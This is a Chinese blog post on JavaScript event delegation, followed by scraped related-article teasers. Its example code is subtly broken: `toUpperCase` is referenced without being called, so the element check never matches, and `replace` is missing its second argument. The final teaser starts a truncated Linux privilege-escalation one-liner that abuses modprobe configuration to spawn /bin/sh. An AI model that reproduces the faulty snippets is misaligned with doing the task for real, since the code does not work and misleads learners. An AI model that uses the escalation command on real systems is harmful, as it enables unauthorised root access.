Atitit事件代理机制原理 基于css class的事件代理

1.1. 在javasript中delegate这个词经常出现,看字面的意思,代理、委托1

1.2. 事件代理1

1.3. 代理标准化规范1

1.3.1. jQuery和Dojo中delegate函数2

1.3.2. 优点2

1.1. 在javasript中delegate这个词经常出现,看字面的意思,代理、委托

如果我们不想或不能够直接操纵目标对象,我们可以利用delegate创建一个代理对象来调用目标对象的方法,从而达到操纵目标对象的目的。代理对象要拥有目标对象的引用。这就是事件代理(也就是说不会直接去操纵对象)

注册事件::绑定    cls:cls_left >>fun

执行事件,遍历obj class name,for exe cls fun..

1.2. 事件代理

首先介绍一下JavaScript的事件代理。事件代理在JS世界中一个非常有用也很有趣的功能。当我们需要对很多元素添加事件的时候,可以通过将事件添加到它们的父节点而将事件委托给父节点来触发处理函数。这主要得益于浏览器的事件冒泡机制

1.3. 代理标准化规范

// 获取父节点,并为它添加一个click事件

document.getElementById("parent-list").addEventListener("click",function(e) {

// 检查事件源e.targe是否为Li

if(e.target && e.target.nodeName.toUpperCase == "LI") {

// 真正的处理过程在这里

console.log("List item ",e.target.id.replace("post-")," was clicked!");

}

});

1.3.1. jQuery和Dojo中delegate函数

下面看一下Dojo和jQuery中提供的事件代理接口的使用方法。

首先是jQuery:

$("#link-list").delegate("a", "click", function(){

// "$(this)" is the node that was clicked

console.log("you clicked a link!",$(this));

});

jQuery的delegate的方法需要三个参数,一个选择器,一个时间名称,和事件处理函数。

1.3.2. 优点

通过上面的介绍,大家应该能够体会到使用事件委托对于web应用程序带来的几个优点:

1.管理的函数变少了。不需要为每个元素都添加监听函数。对于同一个父节点下面类似的子元素,可以通过委托给父元素的监听函数来处理事件。

2.可以方便地动态添加和修改元素,不需要因为元素的改动而修改事件绑定。

3.JavaScript和DOM节点之间的关联变少了,这样也就减少了因循环引用而带来的内存泄漏发生的概率。

JavaScript事件代理和委托(Delegation) - majian_1987的专栏 - 博客频道 - CSDN.NET.html

作者:: 绰号:老哇的爪子claw of Eagle 偶像破坏者Iconoclast image-smasher

捕鸟王"Bird Catcher 王中之王King of Kings 虔诚者Pious 宗教信仰捍卫者 Defender of the Faith. 卡拉卡拉红斗篷 Caracalla red cloak

简称:: Emir Attilax Akbar 埃米尔 阿提拉克斯 阿克巴

全名::Emir Attilax Akbar bin Mahmud bin  attila bin Solomon Al Rapanui

埃米尔 阿提拉克斯 阿克巴 本 马哈茂德 本 阿提拉 本 所罗门  阿尔 拉帕努伊

常用名:艾提拉(艾龙),   EMAIL:1466519819@qq.com

转载请注明来源:attilax的专栏   http://www.cnblogs.com/attilax/

--Atiend

Atitit事件代理机制原理 基于css class的事件代理的更多相关文章

  1. 详解Java动态代理机制(二)----cglib实现动态代理

    上篇文章的结尾我们介绍了普通的jdk实现动态代理的主要不足在于:它只能代理实现了接口的类,如果一个类没有继承于任何的接口,那么就不能代理该类,原因是我们动态生成的所有代理类都必须继承Proxy这个类, ...

  2. android开发学习 ------- 【转】 android事件分发机制 和 自定义view涉及的事件分发

    参考  https://blog.csdn.net/carson_ho/article/details/54136311   ,写的很完美,原理入门的一篇博客,看这一篇就够了 https://www. ...

  3. Atitit 插件机制原理与设计微内核 c# java 的实现attilax总结

    Atitit 插件机制原理与设计微内核 c# java 的实现attilax总结 1. 微内核与插件的优点1 2. 插件的注册与使用2 2.1. Ioc容器中注册插件2 2.2. 启动器微内核启动3 ...

  4. Atitit View事件分发机制

    1. Atitit View事件分发机制 1. Atitit View事件分发机制1 1.1. 三个关键方法 dispatchTouchEvent onInterceptTouchEvent onTo ...

  5. 基于 JDK 的动态代理机制

    『动态代理』其实源于设计模式中的代理模式,而代理模式就是使用代理对象完成用户请求,屏蔽用户对真实对象的访问. 举个最简单的例子,比如我们想要「FQ」访问国外网站,因为我们并没有墙掉所有国外的 IP,所 ...

  6. 大厂高级工程师面试必问系列:Java动态代理机制和实现原理详解

    代理模式 Java动态代理运用了设计模式中常用的代理模式 代理模式: 目的就是为其他对象提供一个代理用来控制对某个真实对象的访问 代理类的作用: 为委托类预处理消息 过滤消息并转发消息 进行消息被委托 ...

  7. 本以为精通Android事件分发机制,没想到被面试官问懵了

    文章中出现的源码均基于8.0 前言 事件分发机制不仅仅是核心知识点更是难点,并且还是View的一大难题滑动冲突解决方法的理论基础,因此掌握好View的事件分发机制是十分重要的. 一.基本认识 1. 事 ...

  8. 深入理解nodejs的异步IO与事件模块机制

    node为什么要使用异步I/O 异步I/O的技术方案:轮询技术 node的异步I/O nodejs事件环 一.node为什么要使用异步I/O 异步最先诞生于操作系统的底层,在底层系统中,异步通过信号量 ...

  9. jdk动态代理与cglib代理、spring aop代理实现原理

    原创声明:本博客来源与本人另一博客[http://blog.csdn.net/liaohaojian/article/details/63683317]原创作品,绝非他处摘取 代理(proxy)的定义 ...

随机推荐

  1. shell处理输入

    1.在运行脚本时指定参数,直接在脚本名称后边跟随需要添加的参数,在运行的过程中,$0代表程序名,$1代表第一个参数,$2代表第二个参数,一直到第九个,从第十个参数开始需要变成${10}等,即需要添加花 ...

  2. UVA - 11604 General Sultan 题解

    题目大意: 有若干模式串,将某些模式串拼接起来(一个可以使用多次)形成一个长模式串,判断能否有两种或更多种不同的拼法拼成相同的模式串. 思路: 神奇的构图,暴力的求解. 可以发现,若有不同的拼法,则一 ...

  3. Object-C 1.0 第三章:面向对象编程基础知识(OOP)

    1. 间接(indirection)        1.1 变量和间接(使用变量来代替一些数字)        1.2 使用文件名的间接                const  表示一个变量不允许 ...

  4. C#调用WebService

    1.1.Web Service基本概念 Web Service也叫XML Web Service WebService是一种可以接收从Internet或者Intranet上的其它系统中传递过来的请求, ...

  5. Array方法

    1.concat()方法 用法:用于连接两个或者多个数组. 对原数组有无影响:不会改变原有数组,会返回一个连接之后的数组. 2.join()方法 用法:以指定的分隔符把数组中每一项拆分成字符串. 对原 ...

  6. php 搜索(查询)功能

    今天遇到一个问题:在做“搜索”功能时,输入查询条件后查询不了. 我做的是首页显示数据表package中的内容,但是有个条件,显示在首页的内容还必须是 :字段status=0,且printing=0的数 ...

  7. lua 字符串 正则表达式 转义 特殊字符

    string.gsub 函数有三个参数:目标串,模式串,替换串.基本作用是用来查找匹配模式的串,并将使用替换串其替换掉: s = string.gsub("Lua is good" ...

  8. JAVA中使用DOM解析XML文件

    XML是一种方便快捷高效的数据保存传输的格式,在JSON广泛使用之前,XML是服务器和客户端之间数据传输的主要方式.因此,需要使用各种方式,解析服务器传送过来的信息,以供使用者查看. JAVA作为一种 ...

  9. elasticsearch一些常用的配置

    配置了解 cluster #配置下集群的名称 cluster.name: my-application

  10. linux一句话轻松提权

    linux命令:‍ [b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI** ...